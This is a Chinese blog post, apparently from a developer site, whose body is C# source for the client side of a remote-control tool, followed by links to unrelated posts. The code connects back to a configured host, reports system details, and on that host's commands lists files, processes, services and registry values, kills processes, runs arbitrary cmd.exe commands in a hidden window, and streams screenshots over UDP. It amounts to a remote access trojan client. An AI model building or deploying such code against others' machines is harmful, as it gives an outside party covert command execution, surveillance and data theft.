文档章节

C# 编写远程控制的核心被控端操作类

望者
 望者
发布于 2017/04/27 10:59
字数 3744
阅读 42
收藏 0
首先定义一个全局,上线地址,上线端口等

using Control_Client; 
using Microsoft.Win32; 
using System; 
using System.Collections.Generic; 
using System.Diagnostics; 
using System.Drawing; 
using System.IO; 
using System.Management; 
using System.Net; 
using System.Net.Sockets; 
using System.Text; 
using System.Threading; 
using System.Windows.Forms; 
  
  
class BD 
{ 
    public static TcpClient Client; 
    public static TcpListener Lis; 
    public static NetworkStream Stream; 
    public static Socket socket; 
    public static Socket Lis_socket; 
    public static String LocalDisk_List = "$GetDir||";                     //电脑盘符命令,初始化命令头 
    public static String Online_Order = "$Online||";                     //上线命令,初始化命令头部 
    public static String Folder_List = "$GetFolder||";                  //列举子文件夹命令,初始化命令头 
    public static String File_List = "$GetFile||";                    //列举文件命令,初始化命令头 
    public static String Process_List = "$GetProcess||";                 //列举文件命令,初始化命令头 
    public static String RegName_List = "$GetRegisterRoot||";            //列举注册表子项名命令,初始化命令头 
    public static String RegNameValues_List = "$GetRegisterRootValues||";      //列举注册表子项值命令,初始化命令头 
    public static String CMD_List = "$ActiveDos||";                  //保存DOS命令执行后的结果 
    public static String Service_List = "$GetService||";                 //保存系统服务列表 
    public static Process CMD = new Process();                                 //用于执行DOS命令 
    public static bool _IsStop_Catching_Desktop = false;                       //此标识为用于判断是否停止对于屏幕的获取 
    public static UdpClient UDP_Client = new UdpClient(); 
    public delegate void Pt(); 
    /// <summary> 
    /// 此方法用于向主控端发送上线请求  
    /// 命令原型 : $Online||软件版本||计算机名||客户注释||操作系统||CPU频率||内存容量 
    /// </summary> 
    public static void Post_Online_Message() 
    { 
        Client = new TcpClient(); 
        //尝试连接 
           
            Client.Connect(Globle.Host, Globle.Port); 
          
        //如果连接上了 
        if (Client.Connected) 
        { 
            //得到套接字原型 
            socket = Client.Client; 
            Stream = new NetworkStream(socket); 
            //发送上线请求 
            Stream.Write(Encoding.Default.GetBytes(Online_Order), 0, Encoding.Default.GetBytes(Online_Order).Length); 
            Stream.Flush(); 
            //如果请求发出后套接字仍然处于连接状态 
            //则单劈出一个线程,用于接收命令 
            if (socket.Connected) 
            { 
                Thread thread = new Thread(new ThreadStart(Get_Server_Order)); 
                thread.Start(); 
            } 
        } 
    } 
  
    /// <summary> 
    /// 此方法通过Windows WMI 服务 
    /// 进行计算机硬件软件信息的收集 
    /// </summary> 
    public static void Get_ComputerInfo() 
    { 
        //查询计算机名 
        Online_Order += WMI_Searcher("SELECT * FROM Win32_ComputerSystem", "Caption") + "||"; 
        //查询备注 
        Online_Order += Globle.Customer + "||"; 
        //查询操作系统 
        Online_Order += WMI_Searcher("SELECT * FROM Win32_OperatingSystem", "Caption") + "||"; 
        //查询CPU 
        Online_Order += WMI_Searcher("SELECT * FROM Win32_Processor", "Caption") + "||"; 
        //查询内存容量 - 单位: MB 
        Online_Order += (int.Parse(WMI_Searcher("SELECT * FROM Win32_OperatingSystem", "TotalVisibleMemorySize")) / 1024) + " MB||"; 
    } 
  
  
    #region WMI 操作相关及扩展 
  
    /// <summary> 
    /// 此方法根据指定语句通过WMI查询用户指定内容 
    /// 并且返回 
    /// </summary> 
    /// <param name="QueryString"></param> 
    /// <param name="Item_Name"></param> 
    /// <returns></returns> 
    public static String WMI_Searcher(String QueryString, String Item_Name) 
    { 
        String Result = ""; 
        ManagementObjectSearcher MOS = new ManagementObjectSearcher(QueryString); 
        ManagementObjectCollection MOC = MOS.Get(); 
        foreach (ManagementObject MOB in MOC) 
        { 
            Result = MOB[Item_Name].ToString(); 
            break; 
        } 
        MOC.Dispose(); 
        MOS.Dispose(); 
        return Result; 
    } 
  
    /// <summary> 
    /// 此方法根据指定语句通过WMI查询用户指定内容 
    /// 并且返回 
    /// </summary> 
    /// <param name="QueryString"></param> 
    /// <param name="Item_Name"></param> 
    /// <returns></returns> 
    public static String WMI_Searcher_Service_Ex(String QueryString) 
    { 
        String Result = ""; 
        ManagementObjectSearcher MOS = new ManagementObjectSearcher(QueryString); 
        ManagementObjectCollection MOC = MOS.Get(); 
        foreach (ManagementObject MOB in MOC) 
        { 
            try
            { 
                Result += MOB["Caption"].ToString() + ","; 
                if (MOB["Started"].ToString() == "True") 
                { 
                    Result += "启动中" + ","; 
                } 
                else
                { 
                    Result += "停止中" + ","; 
                } 
  
                Result += MOB["Description"].ToString() + "||"; 
            } 
            catch (Exception ex) 
            { }; 
        } 
        MOC.Dispose(); 
        MOS.Dispose(); 
        return Result; 
    } 
  
    #endregion 
  
    #region 命令处理函数 
  
    /// <summary> 
    /// 此方法用于判断命令结构 
    /// 根据不同的命令调用不同的方法进行处理 
    /// </summary> 
    /// <param name="Order_Set"></param> 
    public static void Order_Catcher(String[] Order_Set) 
    { 
        switch (Order_Set[0]) 
        { 
            //此命令头表示客户端状态结果返回 
            case "$Return": 
                switch (Order_Set[1]) 
                { 
                    //如果是上线成功 
                    case "#Online_OK": 
                        Online_OK(); 
                        break; 
                } 
                break; 
            //此命令头表示客户端请求本机所有盘符 
            case "$GetDir": 
                Get_LocalDisk(); 
                break; 
            //此命令头表示客户端请求本机指定目录下的所有文件夹 
            case "$GetFolder": 
                Get_Foloder(Order_Set[1]); 
                break; 
            //此命令头表示客户端请求本机指定目录下的所有文件 
            case "$GetFile": 
                Get_File(Order_Set[1]); 
                break; 
            //此命令头表示客户端请求本机当前所有进程 
            case "$GetProcess": 
                Get_Process(); 
                break; 
            //此命令头表示客户端请求杀死本机指定进程 
            case "$KillProcess": 
                Kill_Process(Order_Set[1]); 
                break; 
            //此命令头表示客户端请求列举本地注册表根目录 
            case "$GetRegisterRoot": 
                Get_RegRoot(Order_Set[1], Order_Set[2]); 
                break; 
            //此命令头表示客户端请求列举本地注册表指定项的所有值 
            case "$GetRegisterRootValues": 
                Get_RegRootValues(Order_Set[1], Order_Set[2]); 
                break; 
            //此命令头表示客户端请求激活本地DOS 
            case "$ActiveDos": 
                ActiveDos(); 
                break; 
            //此命令头表示客户端请求执行本地DOS命令 
            case "$ExecuteCommand": 
                Execute_Command(Order_Set[1]); 
                break; 
            //此命令头表示客户端请求列举本机系统服务列表 
            case "$GetService": 
                GetService(); 
                break; 
            //此命令头表示客户端请求激活本机屏幕HDC 
            case "$ActiveHDC": 
                try
                { 
                    //得到进程列表后,尝试发送 
                    using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
                    { 
                        Ns.Write(Encoding.Default.GetBytes("$ActiveHDC||True"), 0, Encoding.Default.GetBytes("$ActiveHDC||True").Length); 
                        Ns.Flush(); 
                    } 
                    UDP_Client.Connect(Globle.Host, Globle.UDP_Port); 
                    //如果连接上了 
                    if (UDP_Client.Client.Connected) 
                    { 
                        //新建线程进行发送桌面信息 
                        //Thread thread = new Thread(new ThreadStart(Catching_Desktop)); 
                        //thread.Start(); 
                        //   BeginInvoke(new Pt(Active_Timer)); 
                    } 
                } 
                catch (Exception ex) 
                { 
                    MessageBox.Show("尝试发送激活HDC信息失败 : " + ex.Message); 
                } 
                break; 
        } 
    } 
  
  
    #endregion 
  
    #region 上线成功后操作函数 
  
    /// <summary> 
    /// 此方法用于上线成功后的用户提示 
    /// </summary> 
    public static void Online_OK() 
    { 
        //    Sys_Icon.ShowBalloonTip(5000, "上线成功", "成功连接到主控端!", ToolTipIcon.Info); 
    } 
  
    #endregion 
  
    #region  窗体关闭动作 
  
    /// <summary> 
    /// 此事件用于窗体关闭时消除所有正在运行的线程 
    /// </summary> 
    /// <param name="sender"></param> 
    /// <param name="e"></param> 
    private void Main_Form_FormClosing(object sender, FormClosingEventArgs e) 
    { 
        //下线命令 原型 : $OffLine|| 
        String Order = "$OffLine||"; 
        try
        { 
            //尝试发送下线请求 
            Stream.Write(Encoding.Default.GetBytes(Order + ((IPEndPoint)socket.LocalEndPoint).Address.ToString()), 0, Encoding.Default.GetBytes(Order + ((IPEndPoint)socket.LocalEndPoint).Address.ToString()).Length); 
            Stream.Flush(); 
        } 
        catch (Exception ex) 
        { }; 
        Environment.Exit(0); 
    } 
  
    #endregion 
  
    #region 枚举硬盘 - 监听自身端口相关操作 
  
    /// <summary> 
    /// 此方法调用Windows WMI 
    /// 列举当前电脑所有盘符 
    /// </summary> 
    public static void Get_LocalDisk() 
    { 
        LocalDisk_List = "$GetDir||"; 
        ManagementObjectSearcher MOS = new ManagementObjectSearcher("SELECT * FROM Win32_LogicalDisk"); 
        ManagementObjectCollection MOC = MOS.Get(); 
        foreach (ManagementObject MOB in MOC) 
        { 
            LocalDisk_List += MOB["Description"].ToString() + "#" + MOB["Caption"].ToString() + ","; 
        } 
        MOC.Dispose(); 
        MOS.Dispose(); 
  
        try
        { 
            //得到硬盘分区列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                Ns.Write(Encoding.Default.GetBytes(LocalDisk_List), 0, Encoding.Default.GetBytes(LocalDisk_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发送硬盘分区列表失败 : " + ex.Message); 
        } 
    } 
  
    /// <summary> 
    /// 此方法用于监听上线端口 
    /// </summary> 
    public static void Listen_Port() 
    { 
        while (Globle._IsListen_Port) 
        { 
            Lis_socket = Lis.AcceptSocket();  //如果有客户端请求则创建套接字 
            Thread thread = new Thread(new ThreadStart(Res_Message)); 
            thread.Start(); 
        } 
    } 
  
    #endregion 
  
    #region 文件夹 - 文件枚举操作 
  
    /// <summary> 
    /// 此方法用于根据指定盘符列举子文件夹 
    /// </summary> 
    /// <param name="Path"></param> 
    public static void Get_Foloder(String Path) 
    { 
        Folder_List = "$GetFolder||"; 
        //得到指定盘符的所有子文件夹 
        String[] Folder = Directory.GetDirectories(Path); 
        for (int i = 0; i < Folder.Length; i++) 
        { 
            Folder_List += Folder[i] + ","; 
        } 
  
        try
        { 
            //得到文件夹列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                Ns.Write(Encoding.Default.GetBytes(Folder_List), 0, Encoding.Default.GetBytes(Folder_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发送文件夹列表失败 : " + ex.Message); 
        } 
    } 
  
    /// <summary> 
    /// 此方法用于根据指定盘符列举子所有文件 
    /// </summary> 
    /// <param name="Path"></param> 
    public static void Get_File(String Path) 
    { 
        File_List = "$GetFile||"; 
        //得到文件目标文件夹文件数组 
        String[] Result_List = Directory.GetFiles(Path); 
        //通过拆分得到结果字符串 
        for (int i = 0; i < Result_List.Length; i++) 
        { 
            File_List += Result_List[i] + ","; 
        } 
  
        try
        { 
            //得到文件列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                Ns.Write(Encoding.Default.GetBytes(File_List), 0, Encoding.Default.GetBytes(File_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发送文件夹列表失败 : " + ex.Message); 
        } 
    } 
  
    #endregion 
  
    #region 循环接收命令机制 
  
    /// <summary> 
    /// 此方法用于得到主控端发来的命令集合 
    /// </summary> 
    public static void Get_Server_Order() 
    { 
        while (Globle._IsResvice_Message) 
        { 
            try
            { 
                byte[] bb = new byte[1024]; 
                //接收命令 
                int Order_Len = Stream.Read(bb, 0, bb.Length); 
                //得到主控端发来的命令集合 
                String[] Order_Set = Encoding.Default.GetString(bb, 0, Order_Len).Split(new String[] { "||" }, StringSplitOptions.RemoveEmptyEntries); 
                Order_Catcher(Order_Set); 
            } 
            catch (Exception ex) 
            { }; 
        } 
    } 
  
    /// <summary> 
    /// 此方法负责接收主控端命令 
    /// 并且传递到处理方法种 
    /// </summary> 
    public static void Res_Message() 
    { 
        while (Globle._IsResvice_Message) 
        { 
            try
            { 
                using (NetworkStream ns = new NetworkStream(Lis_socket)) 
                { 
                    try
                    { 
                        byte[] bb = new byte[1024]; 
                        //得到命令 
                        int Res_Len = ns.Read(bb, 0, bb.Length); 
                        //得到完整命令分割后的数组结构 
                        String[] Order_Set = Encoding.Default.GetString(bb, 0, Res_Len).Split(new String[] { "||" }, StringSplitOptions.RemoveEmptyEntries); 
                        //调用判断命令函数 
                        //MessageBox.Show(Order_Set[0]); 
                        Order_Catcher(Order_Set); 
                    } 
                    catch (Exception ex) { }; 
                } 
            } 
            catch (Exception ex) 
            { }; 
        } 
    } 
  
    #endregion 
  
    #region 系统进程相关操作 
  
    /// <summary> 
    /// 此方法负责列举当前系统所有进程 
    /// 并且拼接结果字符串发送给主控端 
    /// </summary> 
    public static void Get_Process() 
    { 
        Process_List = "$GetProcess||"; 
        Process[] process = Process.GetProcesses(); 
        for (int i = 0; i < process.Length; i++) 
        { 
            try
            { 
                if (process[i].ProcessName != "") 
                { 
                    //拼接字符串 
                    Process_List += process[i].ProcessName + "," + process[i].Handle.ToString() + "," + process[i].Id + "||"; 
                } 
            } 
            catch (Exception ex) 
            { }; 
        } 
        try
        { 
            //得到进程列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                Ns.Write(Encoding.Default.GetBytes(Process_List), 0, Encoding.Default.GetBytes(Process_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发送进程列表失败 : " + ex.Message); 
        } 
    } 
  
    /// <summary> 
    /// 此方法根据指定的进程名杀死进程 
    /// 如果结束进程成功 则返回 $KillProcess||True 
    /// 否则返回 $KillProcess||False 
    /// </summary> 
    /// <param name="Process_Name"></param> 
    public static void Kill_Process(String Process_Name) 
    { 
        bool isKilled = false; 
        Process[] Process_Set = Process.GetProcesses(); 
        //遍历所有进程,找到指定进程后杀死 
        for (int i = 0; i < Process_Set.Length; i++) 
        { 
            try
            { 
                if (Process_Set[i].ProcessName == Process_Name) 
                { 
                    //如果找到进程则尝试杀死该进程 
                    Process_Set[i].Kill(); 
                    //杀死成功后 ,改变标志位,跳出FOR循环发送回应命令 
                    isKilled = true; 
                    break; 
                } 
            } 
            catch (Exception ex) 
            { }; 
        } 
  
        //得到结果后判断标志位 
        using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
        { 
            //如果成功杀死了 
            if (isKilled) 
            { 
                Ns.Write(Encoding.Default.GetBytes("$KillProcess||True"), 0, Encoding.Default.GetBytes("$KillProcess||True").Length); 
                Ns.Flush(); 
            } 
            else
            { 
                Ns.Write(Encoding.Default.GetBytes("$KillProcess||False"), 0, Encoding.Default.GetBytes("$KillProcess||False").Length); 
                Ns.Flush(); 
            } 
        } 
    } 
  
    #endregion 
  
    #region 注册表操作相关 
  
    /// <summary> 
    /// 此方法用于得到当前系统注册表根目录名字并且发送 
    /// </summary> 
    public static void Get_RegRoot(String Key_Model, String Key_Path) 
    { 
        RegName_List = "$GetRegisterRoot||"; 
        //新建数组结构体用来接收得到的子项名集合 
        String[] Reg_Name_Set = Get_Register_Root_Names(Key_Model, Key_Path); 
        for (int i = 0; i < Reg_Name_Set.Length; i++) 
        { 
            //拼接结果字符串 
            RegName_List += Reg_Name_Set[i] + "||"; 
        } 
        try
        { 
            //得到进程列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                Ns.Write(Encoding.Default.GetBytes(RegName_List), 0, Encoding.Default.GetBytes(RegName_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发送注册表子项列表失败 : " + ex.Message); 
        } 
    } 
  
    /// <summary> 
    /// 此方法根据指定的注册表项路径 
    /// 查找所属下的所有子项名称 
    /// 并且返回数组名称结构体 
    /// </summary> 
    /// <param name="Key_Model"></param> 
    /// <param name="Key_Path"></param> 
    /// <returns></returns> 
    public static String[] Get_Register_Root_Names(String Key_Model, String Key_Path) 
    { 
        //新建数组,用来储存子项名字集合 
        String[] Names = null; 
        //如果是检索根键值 
        if (Key_Path == "******%None%******") 
        { 
            //判断键值路径所属的根键 
            switch (Key_Model) 
            { 
                //如果是HKEY_CLASSES_ROOT下面的 
                case "HKEY_CLASSES_ROOT": 
                    Names = Registry.ClassesRoot.GetSubKeyNames(); 
                    break; 
                //如果是HKEY_CURRENT_CONFIG下面的 
                case "HKEY_CURRENT_CONFIG": 
                    Names = Registry.CurrentConfig.GetSubKeyNames(); 
                    break; 
                //如果是HKEY_CURRENT_USER下面的 
                case "HKEY_CURRENT_USER": 
                    Names = Registry.CurrentUser.GetSubKeyNames(); 
                    break; 
                //如果是HKEY_LOCAL_MACHINE下面的 
                case "HKEY_LOCAL_MACHINE": 
                    Names = Registry.LocalMachine.GetSubKeyNames(); 
                    break; 
                //如果是HKEY_USERS下面的 
                case "HKEY_USERS": 
                    Names = Registry.Users.GetSubKeyNames(); 
                    break; 
            } 
        } 
        //如果是检索根键值下面的子项 
        else
        { 
            //判断键值路径所属的根键 
            switch (Key_Model) 
            { 
                //如果是HKEY_CLASSES_ROOT下面的 
                case "HKEY_CLASSES_ROOT": 
                    Names = Registry.ClassesRoot.OpenSubKey(Key_Path).GetSubKeyNames(); 
                    break; 
                //如果是HKEY_CURRENT_CONFIG下面的 
                case "HKEY_CURRENT_CONFIG": 
                    Names = Registry.CurrentConfig.OpenSubKey(Key_Path).GetSubKeyNames(); 
                    break; 
                //如果是HKEY_CURRENT_USER下面的 
                case "HKEY_CURRENT_USER": 
                    Names = Registry.CurrentUser.OpenSubKey(Key_Path).GetSubKeyNames(); 
                    break; 
                //如果是HKEY_LOCAL_MACHINE下面的 
                case "HKEY_LOCAL_MACHINE": 
                    Names = Registry.LocalMachine.OpenSubKey(Key_Path).GetSubKeyNames(); 
                    break; 
                //如果是HKEY_USERS下面的 
                case "HKEY_USERS": 
                    Names = Registry.Users.OpenSubKey(Key_Path).GetSubKeyNames(); 
                    break; 
            } 
        } 
  
        //返回目录名集合 
        return Names; 
    } 
  
    /// <summary> 
    /// 此方法用于得到当前系统注册表根目录子项所有值并且发送 
    /// </summary> 
    public static void Get_RegRootValues(String Key_Model, String Key_Path) 
    { 
        RegNameValues_List = "$GetRegisterRootValues||"; 
        //新建数组结构体用来接收得到的子项名集合 
        RegNameValues_List += Get_Register_Root_Values(Key_Model, Key_Path); 
        try
        { 
            //得到进程列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                Ns.Write(Encoding.Default.GetBytes(RegNameValues_List), 0, Encoding.Default.GetBytes(RegNameValues_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发送注册表子项值列表失败 : " + ex.Message); 
        } 
    } 
  
    /// <summary> 
    /// 此方法根据指定的注册表项路径 
    /// 查找所属下的所有值名称 
    /// 并且返回数组名称结构体 
    /// </summary> 
    /// <param name="Key_Model"></param> 
    /// <param name="Key_Path"></param> 
    /// <returns></returns> 
    public static String Get_Register_Root_Values(String Key_Model, String Key_Path) 
    { 
        //新建数组,用来储存子项名字集合 
        String Result_List = ""; 
        //如果是检索根键值 
        if (Key_Path == "******%None%******") 
        { 
            //判断键值路径所属的根键 
            switch (Key_Model) 
            { 
                //如果是HKEY_CLASSES_ROOT下面的 
                case "HKEY_CLASSES_ROOT": 
                    using (RegistryKey RK = Registry.ClassesRoot) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_CURRENT_CONFIG下面的 
                case "HKEY_CURRENT_CONFIG": 
                    using (RegistryKey RK = Registry.CurrentConfig) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_CURRENT_USER下面的 
                case "HKEY_CURRENT_USER": 
                    using (RegistryKey RK = Registry.CurrentUser) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_LOCAL_MACHINE下面的 
                case "HKEY_LOCAL_MACHINE": 
                    using (RegistryKey RK = Registry.LocalMachine) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_USERS下面的 
                case "HKEY_USERS": 
                    using (RegistryKey RK = Registry.Users) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
            } 
        } 
        //如果是检索根键值下面的子项 
        else
        { 
            //判断键值路径所属的根键 
            switch (Key_Model) 
            { 
                //如果是HKEY_CLASSES_ROOT下面的 
                case "HKEY_CLASSES_ROOT": 
                    using (RegistryKey RK = Registry.ClassesRoot.OpenSubKey(Key_Path)) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_CURRENT_CONFIG下面的 
                case "HKEY_CURRENT_CONFIG": 
                    using (RegistryKey RK = Registry.CurrentConfig.OpenSubKey(Key_Path)) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_CURRENT_USER下面的 
                case "HKEY_CURRENT_USER": 
                    using (RegistryKey RK = Registry.CurrentUser.OpenSubKey(Key_Path)) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_LOCAL_MACHINE下面的 
                case "HKEY_LOCAL_MACHINE": 
                    using (RegistryKey RK = Registry.LocalMachine.OpenSubKey(Key_Path)) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
                //如果是HKEY_USERS下面的 
                case "HKEY_USERS": 
                    using (RegistryKey RK = Registry.Users.OpenSubKey(Key_Path)) 
                    { 
                        foreach (String VName in RK.GetValueNames()) 
                        { 
                            Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; 
                        } 
                    } 
                    break; 
            } 
        } 
  
        //返回目录名集合 
        return Result_List; 
    } 
  
    #endregion 
  
    #region 系统DOS相关操作 
  
    /// <summary> 
    /// 此方法用于激活本地DOS 
    /// 首先查找是否存在DOS的可执行文件 
    /// 如果不存在则返回错误信息 
    /// 存在则返回DOS欢迎初始化信息 
    /// </summary> 
    public static void ActiveDos() 
    { 
        //如果不存在文件 
        if (!File.Exists("C:\\Windows\\System32\\cmd.exe")) 
        { 
            try
            { 
                //得到进程列表后,尝试发送 
                using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
                { 
                    //DOS文件不存在命令 原型 : $ActiveDos|| [参数1] 
                    Ns.Write(Encoding.Default.GetBytes(CMD_List + "Error"), 0, Encoding.Default.GetBytes(CMD_List + "Error").Length); 
                    Ns.Flush(); 
                } 
            } 
            catch (Exception ex) 
            { 
                MessageBox.Show("尝试发不存在DOS信息失败 : " + ex.Message); 
            } 
        } 
        //如果存在 
        else
        { 
            String Result = Get_Message_Command(""); 
            try
            { 
                //得到进程列表后,尝试发送 
                using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
                { 
                    //DOS文件存在命令 原型 : $ActiveDos|| 欢迎信息 
                    Ns.Write(Encoding.Default.GetBytes(CMD_List + Result), 0, Encoding.Default.GetBytes(CMD_List + Result).Length); 
                    Ns.Flush(); 
                } 
            } 
            catch (Exception ex) 
            { 
                MessageBox.Show("尝试发不存在DOS信息失败 : " + ex.Message); 
            } 
        } 
    } 
  
    /// <summary> 
    /// 此方法用于获得执行命令后的结果 
    /// 并发送给主控端 
    /// </summary> 
    /// <param name="Order"></param> 
    public static void Execute_Command(String Order) 
    { 
        String Result = "$ExecuteCommand||" + Get_Message_Command("/c " + Order); 
        try
        { 
            //得到进程列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                //DOS文件存在命令 原型 : $ExecuteCommand || 命令执行结果 
                Ns.Write(Encoding.Default.GetBytes(Result), 0, Encoding.Default.GetBytes(Result).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发不存在DOS执行结果失败 : " + ex.Message); 
        } 
    } 
  
  
    /// <summary> 
    /// 此方法用于将指定DOS命令执行后返回结果 
    /// </summary> 
    /// <param name="Command"></param> 
    /// <returns></returns> 
    public static String Get_Message_Command(String Command) 
    { 
        CMD.StartInfo.FileName = "cmd.exe"; 
        CMD.StartInfo.Arguments = Command; 
        CMD.StartInfo.RedirectStandardError = true; 
        CMD.StartInfo.RedirectStandardOutput = true; 
        CMD.StartInfo.UseShellExecute = false; 
        CMD.StartInfo.CreateNoWindow = true; 
        CMD.Start(); 
        String Message_Line = ""; 
        String Result = ""; 
        using (StreamReader Reader = CMD.StandardOutput) 
        { 
            //循环读取结果 
            while ((Message_Line = Reader.ReadLine()) != null) 
            { 
                Result += Message_Line + "\n"; 
            } 
        } 
        return Result; 
  
    } 
  
    #endregion 
  
    #region 系统服务相关操作 
  
    /// <summary> 
    /// 此服务用于将得到的所有系统服务列表 
    /// 发送到主控端 
    /// </summary> 
    public static void GetService() 
    { 
        String Result_List = Service_List + WMI_Searcher_Service_Ex("SELECT * FROM Win32_Service"); 
        try
        { 
            //得到进程列表后,尝试发送 
            using (NetworkStream Ns = new NetworkStream(Lis_socket)) 
            { 
                //DOS文件存在命令 原型 : $ExecuteCommand || 命令执行结果 
                Ns.Write(Encoding.Default.GetBytes(Result_List), 0, Encoding.Default.GetBytes(Result_List).Length); 
                Ns.Flush(); 
            } 
        } 
        catch (Exception ex) 
        { 
            MessageBox.Show("尝试发系统服务列表失败 : " + ex.Message); 
        } 
    } 
  
    #endregion 
  
    #region 远程桌面监控相关操作 
  
    /// <summary> 
    /// 此方法用于根据标志位不停的抓取屏幕图像  
    /// 并且传送给主控端 
    /// </summary> 
    public static void Catching_Desktop() 
    { 
        while (!_IsStop_Catching_Desktop) 
        { 
            //创建一个跟屏幕大小一样的Image 
            Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); 
            //创建GDI+ 用来DRAW屏幕 
            Graphics g = Graphics.FromImage(img); 
            //将屏幕打入到Image中 
            g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); 
            //得到屏幕HDC句柄  
            IntPtr HDC = g.GetHdc(); 
            //截图后释放该句柄 
            g.ReleaseHdc(HDC); 
  
            MemoryStream Ms = new MemoryStream(); 
            //将图像打入流 
            img.Save(Ms, System.Drawing.Imaging.ImageFormat.Jpeg); 
            Send_Desktop_Image_Info(Ms); 
        } 
    } 
  
    public static void Send_Desktop_Image_Info(MemoryStream Ms) 
    { 
        int Len = 0; 
        byte[] bb = new byte[4096]; 
        Ms.Position = 0; 
        while ((Len = Ms.Read(bb, 0, bb.Length)) > 0) 
        { 
            UDP_Client.Send(bb, bb.Length); 
        } 
        //发送结尾符 
        UDP_Client.Send(Encoding.Default.GetBytes("**End**"), Encoding.Default.GetBytes("**End**").Length); 
    } 
  
    private void Desktop_Timer_Tick(object sender, EventArgs e) 
    { 
        if (!_IsStop_Catching_Desktop) 
        { 
            //创建一个跟屏幕大小一样的Image 
            Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); 
            //创建GDI+ 用来DRAW屏幕 
            Graphics g = Graphics.FromImage(img); 
            //将屏幕打入到Image中 
            g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); 
            //得到屏幕HDC句柄  
            IntPtr HDC = g.GetHdc(); 
            //截图后释放该句柄 
            g.ReleaseHdc(HDC); 
  
            MemoryStream Ms = new MemoryStream(); 
            //将图像打入流 
            img.Save(Ms, System.Drawing.Imaging.ImageFormat.Jpeg); 
            Send_Desktop_Image_Info(Ms); 
        } 
    } 
  
    /// <summary> 
    /// 此方法用于将TIMER启动 
    /// 调用方式 : [委托] 
    /// </summary> 
    public static void Active_Timer() 
    { 
        // Desktop_Timer.Enabled = true; 
    } 
  
    #endregion 
}

 

© 著作权归作者所有

望者
粉丝 0
博文 1
码字总数 3744
作品 0
喀什
私信 提问
Linux操作系统下搭建VNC远程控制软件详尽教程

VNC简介: 虽然VNC 还有着在Linux下无法按热键呼出中文输入等等小小不足,但仍然无法阻止其在Linux系统中的地位。让我们看下它的魅力吧,首先,复制粘贴做的很随意。本机复制了,直接在远程机...

王海峰
2010/02/25
248
0
多进程监控自动关机工具升级远程关闭多台server——C# works with PowerShell

之前给单位做过一个多进程监控的自动关机工具,详见那篇blog。 这次领导又加了需求,说要等进程监控结束后,不止需要关闭主控端server,还需要关闭其他servers。于是就用到了我上篇文章所介绍...

天外归云
2015/08/13
0
0
自动化运维工具Saltstack

一、概述 1.1 Saltstack简介 SaltStack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,一般可以理解为简化版的puppet和加强版的func。SaltStack基于Python语言实...

KaliArch
2017/10/23
0
0
用远程软件帮LOL女主播代打游戏的可行性如何?

最近一直看到游戏主播代打的新闻,甚至有爆出小学生代打赚钱,其实小编很好奇,远程代打游戏,需要直播时保持画面不延迟,远程不掉线,主播解说和代打画面精确同步,根本超级难好嘛!! 小编...

大眼睛小气球
2017/03/21
624
2
